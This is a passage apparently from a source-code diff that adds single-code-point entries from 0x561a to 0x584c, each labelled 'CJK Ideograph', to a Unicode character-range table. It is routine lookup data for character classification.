+ [0x561a, 0x561a], /* CJK Ideograph */
+ [0x561b, 0x561b], /* CJK Ideograph */
+ [0x561c, 0x561c], /* CJK Ideograph */
+ [0x561d, 0x561d], /* CJK Ideograph */
+ [0x561e, 0x561e], /* CJK Ideograph */
+ [0x561f, 0x561f], /* CJK Ideograph */
+ [0x5620, 0x5620], /* CJK Ideograph */
+ [0x5621, 0x5621], /* CJK Ideograph */
+ [0x5622, 0x5622], /* CJK Ideograph */
+ [0x5623, 0x5623], /* CJK Ideograph */
+ [0x5624, 0x5624], /* CJK Ideograph */
+ [0x5625, 0x5625], /* CJK Ideograph */
+ [0x5626, 0x5626], /* CJK Ideograph */
+ [0x5627, 0x5627], /* CJK Ideograph */
+ [0x5628, 0x5628], /* CJK Ideograph */
+ [0x5629, 0x5629], /* CJK Ideograph */
+ [0x562a, 0x562a], /* CJK Ideograph */
+ [0x562b, 0x562b], /* CJK Ideograph */
+ [0x562c, 0x562c], /* CJK Ideograph */
+ [0x562d, 0x562d], /* CJK Ideograph */
+ [0x562e, 0x562e], /* CJK Ideograph */
+ [0x562f, 0x562f], /* CJK Ideograph */
+ [0x5630, 0x5630], /* CJK Ideograph */
+ [0x5631, 0x5631], /* CJK Ideograph */
+ [0x5632, 0x5632], /* CJK Ideograph */
+ [0x5633, 0x5633], /* CJK Ideograph */
+ [0x5634, 0x5634], /* CJK Ideograph */
+ [0x5635, 0x5635], /* CJK Ideograph */
+ [0x5636, 0x5636], /* CJK Ideograph */
+ [0x5637, 0x5637], /* CJK Ideograph */
+ [0x5638, 0x5638], /* CJK Ideograph */
+ [0x5639, 0x5639], /* CJK Ideograph */
+ [0x563a, 0x563a], /* CJK Ideograph */
+ [0x563b, 0x563b], /* CJK Ideograph */
+ [0x563c, 0x563c], /* CJK Ideograph */
+ [0x563d, 0x563d], /* CJK Ideograph */
+ [0x563e, 0x563e], /* CJK Ideograph */
+ [0x563f, 0x563f], /* CJK Ideograph */
+ [0x5640, 0x5640], /* CJK Ideograph */
+ [0x5641, 0x5641], /* CJK Ideograph */
+ [0x5642, 0x5642], /* CJK Ideograph */
+ [0x5643, 0x5643], /* CJK Ideograph */
+ [0x5644, 0x5644], /* CJK Ideograph */
+ [0x5645, 0x5645], /* CJK Ideograph */
+ [0x5646, 0x5646], /* CJK Ideograph */
+ [0x5647, 0x5647], /* CJK Ideograph */
+ [0x5648, 0x5648], /* CJK Ideograph */
+ [0x5649, 0x5649], /* CJK Ideograph */
+ [0x564a, 0x564a], /* CJK Ideograph */
+ [0x564b, 0x564b], /* CJK Ideograph */
+ [0x564c, 0x564c], /* CJK Ideograph */
+ [0x564d, 0x564d], /* CJK Ideograph */
+ [0x564e, 0x564e], /* CJK Ideograph */
+ [0x564f, 0x564f], /* CJK Ideograph */
+ [0x5650, 0x5650], /* CJK Ideograph */
+ [0x5651, 0x5651], /* CJK Ideograph */
+ [0x5652, 0x5652], /* CJK Ideograph */
+ [0x5653, 0x5653], /* CJK Ideograph */
+ [0x5654, 0x5654], /* CJK Ideograph */
+ [0x5655, 0x5655], /* CJK Ideograph */
+ [0x5656, 0x5656], /* CJK Ideograph */
+ [0x5657, 0x5657], /* CJK Ideograph */
+ [0x5658, 0x5658], /* CJK Ideograph */
+ [0x5659, 0x5659], /* CJK Ideograph */
+ [0x565a, 0x565a], /* CJK Ideograph */
+ [0x565b, 0x565b], /* CJK Ideograph */
+ [0x565c, 0x565c], /* CJK Ideograph */
+ [0x565d, 0x565d], /* CJK Ideograph */
+ [0x565e, 0x565e], /* CJK Ideograph */
+ [0x565f, 0x565f], /* CJK Ideograph */
+ [0x5660, 0x5660], /* CJK Ideograph */
+ [0x5661, 0x5661], /* CJK Ideograph */
+ [0x5662, 0x5662], /* CJK Ideograph */
+ [0x5663, 0x5663], /* CJK Ideograph */
+ [0x5664, 0x5664], /* CJK Ideograph */
+ [0x5665, 0x5665], /* CJK Ideograph */
+ [0x5666, 0x5666], /* CJK Ideograph */
+ [0x5667, 0x5667], /* CJK Ideograph */
+ [0x5668, 0x5668], /* CJK Ideograph */
+ [0x5669, 0x5669], /* CJK Ideograph */
+ [0x566a, 0x566a], /* CJK Ideograph */
+ [0x566b, 0x566b], /* CJK Ideograph */
+ [0x566c, 0x566c], /* CJK Ideograph */
+ [0x566d, 0x566d], /* CJK Ideograph */
+ [0x566e, 0x566e], /* CJK Ideograph */
+ [0x566f, 0x566f], /* CJK Ideograph */
+ [0x5670, 0x5670], /* CJK Ideograph */
+ [0x5671, 0x5671], /* CJK Ideograph */
+ [0x5672, 0x5672], /* CJK Ideograph */
+ [0x5673, 0x5673], /* CJK Ideograph */
+ [0x5674, 0x5674], /* CJK Ideograph */
+ [0x5675, 0x5675], /* CJK Ideograph */
+ [0x5676, 0x5676], /* CJK Ideograph */
+ [0x5677, 0x5677], /* CJK Ideograph */
+ [0x5678, 0x5678], /* CJK Ideograph */
+ [0x5679, 0x5679], /* CJK Ideograph */
+ [0x567a, 0x567a], /* CJK Ideograph */
+ [0x567b, 0x567b], /* CJK Ideograph */
+ [0x567c, 0x567c], /* CJK Ideograph */
+ [0x567d, 0x567d], /* CJK Ideograph */
+ [0x567e, 0x567e], /* CJK Ideograph */
+ [0x567f, 0x567f], /* CJK Ideograph */
+ [0x5680, 0x5680], /* CJK Ideograph */
+ [0x5681, 0x5681], /* CJK Ideograph */
+ [0x5682, 0x5682], /* CJK Ideograph */
+ [0x5683, 0x5683], /* CJK Ideograph */
+ [0x5684, 0x5684], /* CJK Ideograph */
+ [0x5685, 0x5685], /* CJK Ideograph */
+ [0x5686, 0x5686], /* CJK Ideograph */
+ [0x5687, 0x5687], /* CJK Ideograph */
+ [0x5688, 0x5688], /* CJK Ideograph */
+ [0x5689, 0x5689], /* CJK Ideograph */
+ [0x568a, 0x568a], /* CJK Ideograph */
+ [0x568b, 0x568b], /* CJK Ideograph */
+ [0x568c, 0x568c], /* CJK Ideograph */
+ [0x568d, 0x568d], /* CJK Ideograph */
+ [0x568e, 0x568e], /* CJK Ideograph */
+ [0x568f, 0x568f], /* CJK Ideograph */
+ [0x5690, 0x5690], /* CJK Ideograph */
+ [0x5691, 0x5691], /* CJK Ideograph */
+ [0x5692, 0x5692], /* CJK Ideograph */
+ [0x5693, 0x5693], /* CJK Ideograph */
+ [0x5694, 0x5694], /* CJK Ideograph */
+ [0x5695, 0x5695], /* CJK Ideograph */
+ [0x5696, 0x5696], /* CJK Ideograph */
+ [0x5697, 0x5697], /* CJK Ideograph */
+ [0x5698, 0x5698], /* CJK Ideograph */
+ [0x5699, 0x5699], /* CJK Ideograph */
+ [0x569a, 0x569a], /* CJK Ideograph */
+ [0x569b, 0x569b], /* CJK Ideograph */
+ [0x569c, 0x569c], /* CJK Ideograph */
+ [0x569d, 0x569d], /* CJK Ideograph */
+ [0x569e, 0x569e], /* CJK Ideograph */
+ [0x569f, 0x569f], /* CJK Ideograph */
+ [0x56a0, 0x56a0], /* CJK Ideograph */
+ [0x56a1, 0x56a1], /* CJK Ideograph */
+ [0x56a2, 0x56a2], /* CJK Ideograph */
+ [0x56a3, 0x56a3], /* CJK Ideograph */
+ [0x56a4, 0x56a4], /* CJK Ideograph */
+ [0x56a5, 0x56a5], /* CJK Ideograph */
+ [0x56a6, 0x56a6], /* CJK Ideograph */
+ [0x56a7, 0x56a7], /* CJK Ideograph */
+ [0x56a8, 0x56a8], /* CJK Ideograph */
+ [0x56a9, 0x56a9], /* CJK Ideograph */
+ [0x56aa, 0x56aa], /* CJK Ideograph */
+ [0x56ab, 0x56ab], /* CJK Ideograph */
+ [0x56ac, 0x56ac], /* CJK Ideograph */
+ [0x56ad, 0x56ad], /* CJK Ideograph */
+ [0x56ae, 0x56ae], /* CJK Ideograph */
+ [0x56af, 0x56af], /* CJK Ideograph */
+ [0x56b0, 0x56b0], /* CJK Ideograph */
+ [0x56b1, 0x56b1], /* CJK Ideograph */
+ [0x56b2, 0x56b2], /* CJK Ideograph */
+ [0x56b3, 0x56b3], /* CJK Ideograph */
+ [0x56b4, 0x56b4], /* CJK Ideograph */
+ [0x56b5, 0x56b5], /* CJK Ideograph */
+ [0x56b6, 0x56b6], /* CJK Ideograph */
+ [0x56b7, 0x56b7], /* CJK Ideograph */
+ [0x56b8, 0x56b8], /* CJK Ideograph */
+ [0x56b9, 0x56b9], /* CJK Ideograph */
+ [0x56ba, 0x56ba], /* CJK Ideograph */
+ [0x56bb, 0x56bb], /* CJK Ideograph */
+ [0x56bc, 0x56bc], /* CJK Ideograph */
+ [0x56bd, 0x56bd], /* CJK Ideograph */
+ [0x56be, 0x56be], /* CJK Ideograph */
+ [0x56bf, 0x56bf], /* CJK Ideograph */
+ [0x56c0, 0x56c0], /* CJK Ideograph */
+ [0x56c1, 0x56c1], /* CJK Ideograph */
+ [0x56c2, 0x56c2], /* CJK Ideograph */
+ [0x56c3, 0x56c3], /* CJK Ideograph */
+ [0x56c4, 0x56c4], /* CJK Ideograph */
+ [0x56c5, 0x56c5], /* CJK Ideograph */
+ [0x56c6, 0x56c6], /* CJK Ideograph */
+ [0x56c7, 0x56c7], /* CJK Ideograph */
+ [0x56c8, 0x56c8], /* CJK Ideograph */
+ [0x56c9, 0x56c9], /* CJK Ideograph */
+ [0x56ca, 0x56ca], /* CJK Ideograph */
+ [0x56cb, 0x56cb], /* CJK Ideograph */
+ [0x56cc, 0x56cc], /* CJK Ideograph */
+ [0x56cd, 0x56cd], /* CJK Ideograph */
+ [0x56ce, 0x56ce], /* CJK Ideograph */
+ [0x56cf, 0x56cf], /* CJK Ideograph */
+ [0x56d0, 0x56d0], /* CJK Ideograph */
+ [0x56d1, 0x56d1], /* CJK Ideograph */
+ [0x56d2, 0x56d2], /* CJK Ideograph */
+ [0x56d3, 0x56d3], /* CJK Ideograph */
+ [0x56d4, 0x56d4], /* CJK Ideograph */
+ [0x56d5, 0x56d5], /* CJK Ideograph */
+ [0x56d6, 0x56d6], /* CJK Ideograph */
+ [0x56d7, 0x56d7], /* CJK Ideograph */
+ [0x56d8, 0x56d8], /* CJK Ideograph */
+ [0x56d9, 0x56d9], /* CJK Ideograph */
+ [0x56da, 0x56da], /* CJK Ideograph */
+ [0x56db, 0x56db], /* CJK Ideograph */
+ [0x56dc, 0x56dc], /* CJK Ideograph */
+ [0x56dd, 0x56dd], /* CJK Ideograph */
+ [0x56de, 0x56de], /* CJK Ideograph */
+ [0x56df, 0x56df], /* CJK Ideograph */
+ [0x56e0, 0x56e0], /* CJK Ideograph */
+ [0x56e1, 0x56e1], /* CJK Ideograph */
+ [0x56e2, 0x56e2], /* CJK Ideograph */
+ [0x56e3, 0x56e3], /* CJK Ideograph */
+ [0x56e4, 0x56e4], /* CJK Ideograph */
+ [0x56e5, 0x56e5], /* CJK Ideograph */
+ [0x56e6, 0x56e6], /* CJK Ideograph */
+ [0x56e7, 0x56e7], /* CJK Ideograph */
+ [0x56e8, 0x56e8], /* CJK Ideograph */
+ [0x56e9, 0x56e9], /* CJK Ideograph */
+ [0x56ea, 0x56ea], /* CJK Ideograph */
+ [0x56eb, 0x56eb], /* CJK Ideograph */
+ [0x56ec, 0x56ec], /* CJK Ideograph */
+ [0x56ed, 0x56ed], /* CJK Ideograph */
+ [0x56ee, 0x56ee], /* CJK Ideograph */
+ [0x56ef, 0x56ef], /* CJK Ideograph */
+ [0x56f0, 0x56f0], /* CJK Ideograph */
+ [0x56f1, 0x56f1], /* CJK Ideograph */
+ [0x56f2, 0x56f2], /* CJK Ideograph */
+ [0x56f3, 0x56f3], /* CJK Ideograph */
+ [0x56f4, 0x56f4], /* CJK Ideograph */
+ [0x56f5, 0x56f5], /* CJK Ideograph */
+ [0x56f6, 0x56f6], /* CJK Ideograph */
+ [0x56f7, 0x56f7], /* CJK Ideograph */
+ [0x56f8, 0x56f8], /* CJK Ideograph */
+ [0x56f9, 0x56f9], /* CJK Ideograph */
+ [0x56fa, 0x56fa], /* CJK Ideograph */
+ [0x56fb, 0x56fb], /* CJK Ideograph */
+ [0x56fc, 0x56fc], /* CJK Ideograph */
+ [0x56fd, 0x56fd], /* CJK Ideograph */
+ [0x56fe, 0x56fe], /* CJK Ideograph */
+ [0x56ff, 0x56ff], /* CJK Ideograph */
+ [0x5700, 0x5700], /* CJK Ideograph */
+ [0x5701, 0x5701], /* CJK Ideograph */
+ [0x5702, 0x5702], /* CJK Ideograph */
+ [0x5703, 0x5703], /* CJK Ideograph */
+ [0x5704, 0x5704], /* CJK Ideograph */
+ [0x5705, 0x5705], /* CJK Ideograph */
+ [0x5706, 0x5706], /* CJK Ideograph */
+ [0x5707, 0x5707], /* CJK Ideograph */
+ [0x5708, 0x5708], /* CJK Ideograph */
+ [0x5709, 0x5709], /* CJK Ideograph */
+ [0x570a, 0x570a], /* CJK Ideograph */
+ [0x570b, 0x570b], /* CJK Ideograph */
+ [0x570c, 0x570c], /* CJK Ideograph */
+ [0x570d, 0x570d], /* CJK Ideograph */
+ [0x570e, 0x570e], /* CJK Ideograph */
+ [0x570f, 0x570f], /* CJK Ideograph */
+ [0x5710, 0x5710], /* CJK Ideograph */
+ [0x5711, 0x5711], /* CJK Ideograph */
+ [0x5712, 0x5712], /* CJK Ideograph */
+ [0x5713, 0x5713], /* CJK Ideograph */
+ [0x5714, 0x5714], /* CJK Ideograph */
+ [0x5715, 0x5715], /* CJK Ideograph */
+ [0x5716, 0x5716], /* CJK Ideograph */
+ [0x5717, 0x5717], /* CJK Ideograph */
+ [0x5718, 0x5718], /* CJK Ideograph */
+ [0x5719, 0x5719], /* CJK Ideograph */
+ [0x571a, 0x571a], /* CJK Ideograph */
+ [0x571b, 0x571b], /* CJK Ideograph */
+ [0x571c, 0x571c], /* CJK Ideograph */
+ [0x571d, 0x571d], /* CJK Ideograph */
+ [0x571e, 0x571e], /* CJK Ideograph */
+ [0x571f, 0x571f], /* CJK Ideograph */
+ [0x5720, 0x5720], /* CJK Ideograph */
+ [0x5721, 0x5721], /* CJK Ideograph */
+ [0x5722, 0x5722], /* CJK Ideograph */
+ [0x5723, 0x5723], /* CJK Ideograph */
+ [0x5724, 0x5724], /* CJK Ideograph */
+ [0x5725, 0x5725], /* CJK Ideograph */
+ [0x5726, 0x5726], /* CJK Ideograph */
+ [0x5727, 0x5727], /* CJK Ideograph */
+ [0x5728, 0x5728], /* CJK Ideograph */
+ [0x5729, 0x5729], /* CJK Ideograph */
+ [0x572a, 0x572a], /* CJK Ideograph */
+ [0x572b, 0x572b], /* CJK Ideograph */
+ [0x572c, 0x572c], /* CJK Ideograph */
+ [0x572d, 0x572d], /* CJK Ideograph */
+ [0x572e, 0x572e], /* CJK Ideograph */
+ [0x572f, 0x572f], /* CJK Ideograph */
+ [0x5730, 0x5730], /* CJK Ideograph */
+ [0x5731, 0x5731], /* CJK Ideograph */
+ [0x5732, 0x5732], /* CJK Ideograph */
+ [0x5733, 0x5733], /* CJK Ideograph */
+ [0x5734, 0x5734], /* CJK Ideograph */
+ [0x5735, 0x5735], /* CJK Ideograph */
+ [0x5736, 0x5736], /* CJK Ideograph */
+ [0x5737, 0x5737], /* CJK Ideograph */
+ [0x5738, 0x5738], /* CJK Ideograph */
+ [0x5739, 0x5739], /* CJK Ideograph */
+ [0x573a, 0x573a], /* CJK Ideograph */
+ [0x573b, 0x573b], /* CJK Ideograph */
+ [0x573c, 0x573c], /* CJK Ideograph */
+ [0x573d, 0x573d], /* CJK Ideograph */
+ [0x573e, 0x573e], /* CJK Ideograph */
+ [0x573f, 0x573f], /* CJK Ideograph */
+ [0x5740, 0x5740], /* CJK Ideograph */
+ [0x5741, 0x5741], /* CJK Ideograph */
+ [0x5742, 0x5742], /* CJK Ideograph */
+ [0x5743, 0x5743], /* CJK Ideograph */
+ [0x5744, 0x5744], /* CJK Ideograph */
+ [0x5745, 0x5745], /* CJK Ideograph */
+ [0x5746, 0x5746], /* CJK Ideograph */
+ [0x5747, 0x5747], /* CJK Ideograph */
+ [0x5748, 0x5748], /* CJK Ideograph */
+ [0x5749, 0x5749], /* CJK Ideograph */
+ [0x574a, 0x574a], /* CJK Ideograph */
+ [0x574b, 0x574b], /* CJK Ideograph */
+ [0x574c, 0x574c], /* CJK Ideograph */
+ [0x574d, 0x574d], /* CJK Ideograph */
+ [0x574e, 0x574e], /* CJK Ideograph */
+ [0x574f, 0x574f], /* CJK Ideograph */
+ [0x5750, 0x5750], /* CJK Ideograph */
+ [0x5751, 0x5751], /* CJK Ideograph */
+ [0x5752, 0x5752], /* CJK Ideograph */
+ [0x5753, 0x5753], /* CJK Ideograph */
+ [0x5754, 0x5754], /* CJK Ideograph */
+ [0x5755, 0x5755], /* CJK Ideograph */
+ [0x5756, 0x5756], /* CJK Ideograph */
+ [0x5757, 0x5757], /* CJK Ideograph */
+ [0x5758, 0x5758], /* CJK Ideograph */
+ [0x5759, 0x5759], /* CJK Ideograph */
+ [0x575a, 0x575a], /* CJK Ideograph */
+ [0x575b, 0x575b], /* CJK Ideograph */
+ [0x575c, 0x575c], /* CJK Ideograph */
+ [0x575d, 0x575d], /* CJK Ideograph */
+ [0x575e, 0x575e], /* CJK Ideograph */
+ [0x575f, 0x575f], /* CJK Ideograph */
+ [0x5760, 0x5760], /* CJK Ideograph */
+ [0x5761, 0x5761], /* CJK Ideograph */
+ [0x5762, 0x5762], /* CJK Ideograph */
+ [0x5763, 0x5763], /* CJK Ideograph */
+ [0x5764, 0x5764], /* CJK Ideograph */
+ [0x5765, 0x5765], /* CJK Ideograph */
+ [0x5766, 0x5766], /* CJK Ideograph */
+ [0x5767, 0x5767], /* CJK Ideograph */
+ [0x5768, 0x5768], /* CJK Ideograph */
+ [0x5769, 0x5769], /* CJK Ideograph */
+ [0x576a, 0x576a], /* CJK Ideograph */
+ [0x576b, 0x576b], /* CJK Ideograph */
+ [0x576c, 0x576c], /* CJK Ideograph */
+ [0x576d, 0x576d], /* CJK Ideograph */
+ [0x576e, 0x576e], /* CJK Ideograph */
+ [0x576f, 0x576f], /* CJK Ideograph */
+ [0x5770, 0x5770], /* CJK Ideograph */
+ [0x5771, 0x5771], /* CJK Ideograph */
+ [0x5772, 0x5772], /* CJK Ideograph */
+ [0x5773, 0x5773], /* CJK Ideograph */
+ [0x5774, 0x5774], /* CJK Ideograph */
+ [0x5775, 0x5775], /* CJK Ideograph */
+ [0x5776, 0x5776], /* CJK Ideograph */
+ [0x5777, 0x5777], /* CJK Ideograph */
+ [0x5778, 0x5778], /* CJK Ideograph */
+ [0x5779, 0x5779], /* CJK Ideograph */
+ [0x577a, 0x577a], /* CJK Ideograph */
+ [0x577b, 0x577b], /* CJK Ideograph */
+ [0x577c, 0x577c], /* CJK Ideograph */
+ [0x577d, 0x577d], /* CJK Ideograph */
+ [0x577e, 0x577e], /* CJK Ideograph */
+ [0x577f, 0x577f], /* CJK Ideograph */
+ [0x5780, 0x5780], /* CJK Ideograph */
+ [0x5781, 0x5781], /* CJK Ideograph */
+ [0x5782, 0x5782], /* CJK Ideograph */
+ [0x5783, 0x5783], /* CJK Ideograph */
+ [0x5784, 0x5784], /* CJK Ideograph */
+ [0x5785, 0x5785], /* CJK Ideograph */
+ [0x5786, 0x5786], /* CJK Ideograph */
+ [0x5787, 0x5787], /* CJK Ideograph */
+ [0x5788, 0x5788], /* CJK Ideograph */
+ [0x5789, 0x5789], /* CJK Ideograph */
+ [0x578a, 0x578a], /* CJK Ideograph */
+ [0x578b, 0x578b], /* CJK Ideograph */
+ [0x578c, 0x578c], /* CJK Ideograph */
+ [0x578d, 0x578d], /* CJK Ideograph */
+ [0x578e, 0x578e], /* CJK Ideograph */
+ [0x578f, 0x578f], /* CJK Ideograph */
+ [0x5790, 0x5790], /* CJK Ideograph */
+ [0x5791, 0x5791], /* CJK Ideograph */
+ [0x5792, 0x5792], /* CJK Ideograph */
+ [0x5793, 0x5793], /* CJK Ideograph */
+ [0x5794, 0x5794], /* CJK Ideograph */
+ [0x5795, 0x5795], /* CJK Ideograph */
+ [0x5796, 0x5796], /* CJK Ideograph */
+ [0x5797, 0x5797], /* CJK Ideograph */
+ [0x5798, 0x5798], /* CJK Ideograph */
+ [0x5799, 0x5799], /* CJK Ideograph */
+ [0x579a, 0x579a], /* CJK Ideograph */
+ [0x579b, 0x579b], /* CJK Ideograph */
+ [0x579c, 0x579c], /* CJK Ideograph */
+ [0x579d, 0x579d], /* CJK Ideograph */
+ [0x579e, 0x579e], /* CJK Ideograph */
+ [0x579f, 0x579f], /* CJK Ideograph */
+ [0x57a0, 0x57a0], /* CJK Ideograph */
+ [0x57a1, 0x57a1], /* CJK Ideograph */
+ [0x57a2, 0x57a2], /* CJK Ideograph */
+ [0x57a3, 0x57a3], /* CJK Ideograph */
+ [0x57a4, 0x57a4], /* CJK Ideograph */
+ [0x57a5, 0x57a5], /* CJK Ideograph */
+ [0x57a6, 0x57a6], /* CJK Ideograph */
+ [0x57a7, 0x57a7], /* CJK Ideograph */
+ [0x57a8, 0x57a8], /* CJK Ideograph */
+ [0x57a9, 0x57a9], /* CJK Ideograph */
+ [0x57aa, 0x57aa], /* CJK Ideograph */
+ [0x57ab, 0x57ab], /* CJK Ideograph */
+ [0x57ac, 0x57ac], /* CJK Ideograph */
+ [0x57ad, 0x57ad], /* CJK Ideograph */
+ [0x57ae, 0x57ae], /* CJK Ideograph */
+ [0x57af, 0x57af], /* CJK Ideograph */
+ [0x57b0, 0x57b0], /* CJK Ideograph */
+ [0x57b1, 0x57b1], /* CJK Ideograph */
+ [0x57b2, 0x57b2], /* CJK Ideograph */
+ [0x57b3, 0x57b3], /* CJK Ideograph */
+ [0x57b4, 0x57b4], /* CJK Ideograph */
+ [0x57b5, 0x57b5], /* CJK Ideograph */
+ [0x57b6, 0x57b6], /* CJK Ideograph */
+ [0x57b7, 0x57b7], /* CJK Ideograph */
+ [0x57b8, 0x57b8], /* CJK Ideograph */
+ [0x57b9, 0x57b9], /* CJK Ideograph */
+ [0x57ba, 0x57ba], /* CJK Ideograph */
+ [0x57bb, 0x57bb], /* CJK Ideograph */
+ [0x57bc, 0x57bc], /* CJK Ideograph */
+ [0x57bd, 0x57bd], /* CJK Ideograph */
+ [0x57be, 0x57be], /* CJK Ideograph */
+ [0x57bf, 0x57bf], /* CJK Ideograph */
+ [0x57c0, 0x57c0], /* CJK Ideograph */
+ [0x57c1, 0x57c1], /* CJK Ideograph */
+ [0x57c2, 0x57c2], /* CJK Ideograph */
+ [0x57c3, 0x57c3], /* CJK Ideograph */
+ [0x57c4, 0x57c4], /* CJK Ideograph */
+ [0x57c5, 0x57c5], /* CJK Ideograph */
+ [0x57c6, 0x57c6], /* CJK Ideograph */
+ [0x57c7, 0x57c7], /* CJK Ideograph */
+ [0x57c8, 0x57c8], /* CJK Ideograph */
+ [0x57c9, 0x57c9], /* CJK Ideograph */
+ [0x57ca, 0x57ca], /* CJK Ideograph */
+ [0x57cb, 0x57cb], /* CJK Ideograph */
+ [0x57cc, 0x57cc], /* CJK Ideograph */
+ [0x57cd, 0x57cd], /* CJK Ideograph */
+ [0x57ce, 0x57ce], /* CJK Ideograph */
+ [0x57cf, 0x57cf], /* CJK Ideograph */
+ [0x57d0, 0x57d0], /* CJK Ideograph */
+ [0x57d1, 0x57d1], /* CJK Ideograph */
+ [0x57d2, 0x57d2], /* CJK Ideograph */
+ [0x57d3, 0x57d3], /* CJK Ideograph */
+ [0x57d4, 0x57d4], /* CJK Ideograph */
+ [0x57d5, 0x57d5], /* CJK Ideograph */
+ [0x57d6, 0x57d6], /* CJK Ideograph */
+ [0x57d7, 0x57d7], /* CJK Ideograph */
+ [0x57d8, 0x57d8], /* CJK Ideograph */
+ [0x57d9, 0x57d9], /* CJK Ideograph */
+ [0x57da, 0x57da], /* CJK Ideograph */
+ [0x57db, 0x57db], /* CJK Ideograph */
+ [0x57dc, 0x57dc], /* CJK Ideograph */
+ [0x57dd, 0x57dd], /* CJK Ideograph */
+ [0x57de, 0x57de], /* CJK Ideograph */
+ [0x57df, 0x57df], /* CJK Ideograph */
+ [0x57e0, 0x57e0], /* CJK Ideograph */
+ [0x57e1, 0x57e1], /* CJK Ideograph */
+ [0x57e2, 0x57e2], /* CJK Ideograph */
+ [0x57e3, 0x57e3], /* CJK Ideograph */
+ [0x57e4, 0x57e4], /* CJK Ideograph */
+ [0x57e5, 0x57e5], /* CJK Ideograph */
+ [0x57e6, 0x57e6], /* CJK Ideograph */
+ [0x57e7, 0x57e7], /* CJK Ideograph */
+ [0x57e8, 0x57e8], /* CJK Ideograph */
+ [0x57e9, 0x57e9], /* CJK Ideograph */
+ [0x57ea, 0x57ea], /* CJK Ideograph */
+ [0x57eb, 0x57eb], /* CJK Ideograph */
+ [0x57ec, 0x57ec], /* CJK Ideograph */
+ [0x57ed, 0x57ed], /* CJK Ideograph */
+ [0x57ee, 0x57ee], /* CJK Ideograph */
+ [0x57ef, 0x57ef], /* CJK Ideograph */
+ [0x57f0, 0x57f0], /* CJK Ideograph */
+ [0x57f1, 0x57f1], /* CJK Ideograph */
+ [0x57f2, 0x57f2], /* CJK Ideograph */
+ [0x57f3, 0x57f3], /* CJK Ideograph */
+ [0x57f4, 0x57f4], /* CJK Ideograph */
+ [0x57f5, 0x57f5], /* CJK Ideograph */
+ [0x57f6, 0x57f6], /* CJK Ideograph */
+ [0x57f7, 0x57f7], /* CJK Ideograph */
+ [0x57f8, 0x57f8], /* CJK Ideograph */
+ [0x57f9, 0x57f9], /* CJK Ideograph */
+ [0x57fa, 0x57fa], /* CJK Ideograph */
+ [0x57fb, 0x57fb], /* CJK Ideograph */
+ [0x57fc, 0x57fc], /* CJK Ideograph */
+ [0x57fd, 0x57fd], /* CJK Ideograph */
+ [0x57fe, 0x57fe], /* CJK Ideograph */
+ [0x57ff, 0x57ff], /* CJK Ideograph */
+ [0x5800, 0x5800], /* CJK Ideograph */
+ [0x5801, 0x5801], /* CJK Ideograph */
+ [0x5802, 0x5802], /* CJK Ideograph */
+ [0x5803, 0x5803], /* CJK Ideograph */
+ [0x5804, 0x5804], /* CJK Ideograph */
+ [0x5805, 0x5805], /* CJK Ideograph */
+ [0x5806, 0x5806], /* CJK Ideograph */
+ [0x5807, 0x5807], /* CJK Ideograph */
+ [0x5808, 0x5808], /* CJK Ideograph */
+ [0x5809, 0x5809], /* CJK Ideograph */
+ [0x580a, 0x580a], /* CJK Ideograph */
+ [0x580b, 0x580b], /* CJK Ideograph */
+ [0x580c, 0x580c], /* CJK Ideograph */
+ [0x580d, 0x580d], /* CJK Ideograph */
+ [0x580e, 0x580e], /* CJK Ideograph */
+ [0x580f, 0x580f], /* CJK Ideograph */
+ [0x5810, 0x5810], /* CJK Ideograph */
+ [0x5811, 0x5811], /* CJK Ideograph */
+ [0x5812, 0x5812], /* CJK Ideograph */
+ [0x5813, 0x5813], /* CJK Ideograph */
+ [0x5814, 0x5814], /* CJK Ideograph */
+ [0x5815, 0x5815], /* CJK Ideograph */
+ [0x5816, 0x5816], /* CJK Ideograph */
+ [0x5817, 0x5817], /* CJK Ideograph */
+ [0x5818, 0x5818], /* CJK Ideograph */
+ [0x5819, 0x5819], /* CJK Ideograph */
+ [0x581a, 0x581a], /* CJK Ideograph */
+ [0x581b, 0x581b], /* CJK Ideograph */
+ [0x581c, 0x581c], /* CJK Ideograph */
+ [0x581d, 0x581d], /* CJK Ideograph */
+ [0x581e, 0x581e], /* CJK Ideograph */
+ [0x581f, 0x581f], /* CJK Ideograph */
+ [0x5820, 0x5820], /* CJK Ideograph */
+ [0x5821, 0x5821], /* CJK Ideograph */
+ [0x5822, 0x5822], /* CJK Ideograph */
+ [0x5823, 0x5823], /* CJK Ideograph */
+ [0x5824, 0x5824], /* CJK Ideograph */
+ [0x5825, 0x5825], /* CJK Ideograph */
+ [0x5826, 0x5826], /* CJK Ideograph */
+ [0x5827, 0x5827], /* CJK Ideograph */
+ [0x5828, 0x5828], /* CJK Ideograph */
+ [0x5829, 0x5829], /* CJK Ideograph */
+ [0x582a, 0x582a], /* CJK Ideograph */
+ [0x582b, 0x582b], /* CJK Ideograph */
+ [0x582c, 0x582c], /* CJK Ideograph */
+ [0x582d, 0x582d], /* CJK Ideograph */
+ [0x582e, 0x582e], /* CJK Ideograph */
+ [0x582f, 0x582f], /* CJK Ideograph */
+ [0x5830, 0x5830], /* CJK Ideograph */
+ [0x5831, 0x5831], /* CJK Ideograph */
+ [0x5832, 0x5832], /* CJK Ideograph */
+ [0x5833, 0x5833], /* CJK Ideograph */
+ [0x5834, 0x5834], /* CJK Ideograph */
+ [0x5835, 0x5835], /* CJK Ideograph */
+ [0x5836, 0x5836], /* CJK Ideograph */
+ [0x5837, 0x5837], /* CJK Ideograph */
+ [0x5838, 0x5838], /* CJK Ideograph */
+ [0x5839, 0x5839], /* CJK Ideograph */
+ [0x583a, 0x583a], /* CJK Ideograph */
+ [0x583b, 0x583b], /* CJK Ideograph */
+ [0x583c, 0x583c], /* CJK Ideograph */
+ [0x583d, 0x583d], /* CJK Ideograph */
+ [0x583e, 0x583e], /* CJK Ideograph */
+ [0x583f, 0x583f], /* CJK Ideograph */
+ [0x5840, 0x5840], /* CJK Ideograph */
+ [0x5841, 0x5841], /* CJK Ideograph */
+ [0x5842, 0x5842], /* CJK Ideograph */
+ [0x5843, 0x5843], /* CJK Ideograph */
+ [0x5844, 0x5844], /* CJK Ideograph */
+ [0x5845, 0x5845], /* CJK Ideograph */
+ [0x5846, 0x5846], /* CJK Ideograph */
+ [0x5847, 0x5847], /* CJK Ideograph */
+ [0x5848, 0x5848], /* CJK Ideograph */
+ [0x5849, 0x5849], /* CJK Ideograph */
+ [0x584a, 0x584a], /* CJK Ideograph */
+ [0x584b, 0x584b], /* CJK Ideograph */
+ [0x584c, 0x584c], /* CJK Ideograph */
